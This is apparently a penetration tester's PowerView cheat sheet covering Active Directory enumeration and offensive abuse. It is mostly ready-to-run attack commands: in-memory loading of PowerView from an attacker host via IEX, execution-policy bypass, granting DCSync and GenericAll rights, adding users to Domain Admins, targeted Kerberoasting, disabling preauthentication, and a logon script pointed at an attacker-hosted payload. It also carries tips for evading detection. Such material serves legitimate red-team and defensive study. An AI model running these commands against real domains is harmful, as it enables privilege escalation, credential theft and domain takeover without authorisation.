> ## Documentation Index > Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt > Use this file to discover all available pages before exploring further. # PowerView PowerView is the go-to PowerShell library for AD enumeration and object manipulation from Windows. Import it once and use it for everything from basic user enumeration to ACL abuse and targeted Kerberoasting. ## Setup ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Download and extract PowerSploit Invoke-WebRequest -Uri "https://github.com/PowerShellMafia/PowerSploit/archive/master.zip" -OutFile "PowerSploit.zip" Expand-Archive -Path "PowerSploit.zip" -DestinationPath "C:\Tools\" # Import PowerView from the extracted path Import-Module C:\Tools\PowerSploit-master\Recon\PowerView.ps1 ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Download standalone PowerView Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1" -OutFile "PowerView.ps1" # Import Import-Module .\PowerView.ps1 # Or dot-source . .\PowerView.ps1 ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Dev branch has more features Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1" -OutFile "PowerView-dev.ps1" Import-Module .\PowerView-dev.ps1 ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Load directly from memory — avoids touching disk IEX (New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1') ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Bypass execution policy without changing system settings powershell -ep bypass Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass # List all PowerView functions Get-Command -Module PowerView Get-Command *-Domain* Get-Command *-Net* ``` ## Credential Objects Run commands as a different user without switching your session. Required when you have creds for another account but are not running as them. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} $pass = ConvertTo-SecureString '$PASSWORD' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$USER', $pass) # Pass $cred to any PowerView cmdlet Get-DomainUser -Credential $cred Get-DomainGroup -Credential $cred -Identity "Domain Admins" ``` ## PS Remoting Interactive PowerShell sessions over WinRM (port 5985/5986). Requires Remote Management Users membership or local admin. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Interactive session Enter-PSSession -ComputerName $TARGET -Credential $cred # Single remote command Invoke-Command -ComputerName $TARGET -Credential $cred -ScriptBlock { whoami } # Load a script on the remote host Invoke-Command -ComputerName $TARGET -Credential $cred -FilePath .\PowerView.ps1 # Persistent session (reuse for multiple commands) $session = New-PSSession -ComputerName $TARGET -Credential $cred Invoke-Command -Session $session -ScriptBlock { whoami } Enter-PSSession -Session $session # Copy files over PS Remoting Copy-Item -Path .\tool.exe -Destination C:\Windows\Temp\tool.exe -ToSession $session ``` ## Domain Information ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-Domain # current domain info Get-DomainController # all DCs Get-DomainPolicy # password policy, Kerberos policy Get-DomainTrust # all trust relationships Get-Forest # forest information ``` ## Users ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-DomainUser # all users Get-DomainUser -Identity $USER # specific user Get-DomainUser -Properties samaccountname,description,pwdlastset # targeted attributes Get-DomainUser -AdminCount # privileged users ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Kerberoastable Get-DomainUser -SPN Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,pwdlastset,lastlogon Get-DomainUser -SPN -AdminCount # high-value targets Get-DomainUser -SPN | Where-Object { $_.pwdlastset -lt (Get-Date).AddDays(-365) } # AS-REP roastable Get-DomainUser -PreauthNotRequired Get-DomainUser -UACFilter DONT_REQ_PREAUTH # Password not required Get-DomainUser -PasswordNotRequired ``` ## Groups ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-DomainGroup # all groups Get-DomainGroup -Identity "Domain Admins" # specific group Get-DomainGroupMember -Identity "Domain Admins" # members Get-DomainGroupMember -Identity "Domain Admins" -Recurse # recursive membership Get-DomainGroup -UserName $USER # groups for a user # Local groups on remote machines Get-NetLocalGroup -ComputerName $TARGET Get-NetLocalGroupMember -ComputerName $TARGET -GroupName Administrators ``` ## Computers ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-DomainComputer # all computers Get-DomainComputer -OperatingSystem "*Server 2019*" # filter by OS Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-DomainComputer -UnconstrainedDelegation # unconstrained Get-DomainComputer -TrustedToAuth # constrained Get-DomainUser -TrustedToAuth # constrained (users) # Resource-based constrained delegation Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ObjectAceType -eq "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity" } ``` ## Sessions & Logons ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Sessions (requires admin on remote) Get-NetSession Get-NetSession -ComputerName $TARGET # Logged-on users Get-NetLoggedon -ComputerName $TARGET Get-NetLoggedon -ComputerName $TARGET -LocalOnly # Sweep all domain computers Get-DomainComputer | ForEach-Object { Get-NetSession -ComputerName $_.dnshostname } ``` ## Shares ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-NetShare # local shares Get-NetShare -ComputerName $TARGET # remote shares Find-DomainShare # all shares across domain Find-DomainShare -CheckShareAccess # only readable shares # Sweep all computers Get-DomainComputer | ForEach-Object { Get-NetShare -ComputerName $_.dnshostname } ``` ## SPNs ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # All SPNs Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname # Filter by service type Get-DomainUser -SPN | Where-Object { $_.serviceprincipalname -like "*SQL*" } Get-DomainUser -SPN | Where-Object { $_.serviceprincipalname -like "*HTTP*" } # Unique service types Get-DomainUser -SPN | ForEach-Object { $_.serviceprincipalname } | ForEach-Object { $_.split('/')[0] } | Sort-Object -Unique ``` ## ACL Enumeration ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-DomainObjectAcl -Identity "Domain Admins" Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs Get-DomainObjectAcl -Identity $USER -ResolveGUIDs Find-InterestingDomainAcl Find-InterestingDomainAcl -ResolveGUIDs ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Objects modifiable by current user Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -like "*$env:USERNAME*" } # By right type Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*GenericAll*" } Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*WriteDacl*" } Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*WriteOwner*" } # By SID Get-DomainObjectAcl | Where-Object { $_.SecurityIdentifier -eq "$SID" } ``` ## Trusts ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-DomainTrust # all trusts Get-ForestTrust # forest-level trusts Get-DomainTrustMapping # full trust map Get-DomainTrust | Where-Object { $_.TrustDirection -eq "Bidirectional" } # Cross-domain enumeration Get-DomainUser -Domain $TRUSTED_DOMAIN Get-DomainGroup -Domain $TRUSTED_DOMAIN Get-DomainForeignGroupMember # foreign members in local groups Get-DomainForeignUser # local users in foreign groups ``` ## Local Admin Access ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Find-LocalAdminAccess # machines where you have local admin Test-AdminAccess -ComputerName $TARGET Find-DomainLocalGroupMember -GroupName Administrators # Sweep all computers Get-DomainComputer | ForEach-Object { Test-AdminAccess -ComputerName $_.dnshostname } ``` ## GPO & OU ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # GPOs Get-DomainGPO Get-DomainGPO -ComputerIdentity $TARGET Get-DomainGPOLocalGroup Get-DomainGPOComputerLocalGroupMapping Get-DomainGPO | Where-Object { $_.displayname -like "*password*" } # OUs Get-DomainOU Get-DomainComputer -SearchBase "OU=Servers,DC=$DC,DC=com" Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*GenericAll*" } ``` ## LDAP Filters ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Users with password not required (UAC flag 32) Get-DomainUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" # Users with a description set Get-DomainUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(description=*))" # Computers running Server OS Get-DomainComputer -LDAPFilter "(&(objectCategory=computer)(operatingSystem=*Server*))" # Groups with "admin" in name Get-DomainGroup -LDAPFilter "(&(objectCategory=group)(name=*admin*))" ``` ## ACL Manipulation Modify object permissions. Requires ownership, WriteDACL, or GenericAll on the target. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Grant GenericAll Add-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All Add-DomainObjectAcl -Credential $cred -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All # Grant WriteMember (enough to add to group) Add-DomainObjectAcl -Credential $cred -TargetIdentity "Domain Admins" -PrincipalIdentity $USER -Rights WriteMembers # Grant DCSync on the domain object Add-DomainObjectAcl -TargetIdentity "$DOMAIN" -PrincipalIdentity $USER -Rights DCSync # Clean up after use Remove-DomainObjectAcl -TargetIdentity $TARGET -PrincipalIdentity $USER -Rights All ``` ## Group Manipulation Requires WriteMember or GenericWrite on the group. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Add-DomainGroupMember -Identity "Domain Admins" -Members $USER Add-DomainGroupMember -Credential $cred -Identity "Domain Admins" -Members $USER Remove-DomainGroupMember -Identity "Domain Admins" -Members $USER Get-DomainGroupMember -Identity "Domain Admins" # verify ``` ## Object Property Modification Requires GenericWrite or WriteProperty on the target. ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Set SPN (Targeted Kerberoasting) Set-DomainObject -Identity $TARGET -Set @{serviceprincipalname="fake/spn.$DOMAIN"} Set-DomainObject -Identity $TARGET -Clear serviceprincipalname # Logon script abuse (runs on next logon) Set-DomainObject -Identity $TARGET -Set @{scriptpath="\\$LHOST\share\payload.bat"} # Disable pre-authentication (AS-REP roastable) Set-DomainObject -Identity $TARGET -XOR @{useraccountcontrol=4194304} ``` ## Owner to Group Membership Flow A common BloodHound path: you own a group but do not have WriteMember. As owner you control the DACL, so you grant yourself WriteMember first. | Right | What it means | | -------------------------- | --------------------------------------------------------- | | Owner | Controls the DACL, can grant any permission on the object | | WriteMember / GenericWrite | Can add or remove members from the group | | Member | Is listed inside the group and inherits its privileges | ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} $pass = ConvertTo-SecureString '$PASSWORD' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$USER', $pass) ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Add-DomainObjectAcl -Credential $cred -TargetIdentity "Domain Admins" -PrincipalIdentity "$DOMAIN\$USER" -Rights WriteMembers ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Add-DomainGroupMember -Credential $cred -Identity "Domain Admins" -Members "$DOMAIN\$USER" ``` ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} Get-DomainGroupMember -Identity "Domain Admins" ``` ## Operational Tips ```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}} # Use alternate credentials for all queries $cred = Get-Credential Get-DomainUser -Credential $cred # Target a specific DC (useful across trusts or with multiple DCs) Get-DomainUser -Server $DC_IP # Reduce query size to avoid detection / timeouts Get-DomainUser -ResultPageSize 100 # Verbose output for debugging $VerbosePreference = "Continue" Get-DomainUser -Identity $USER -Verbose ```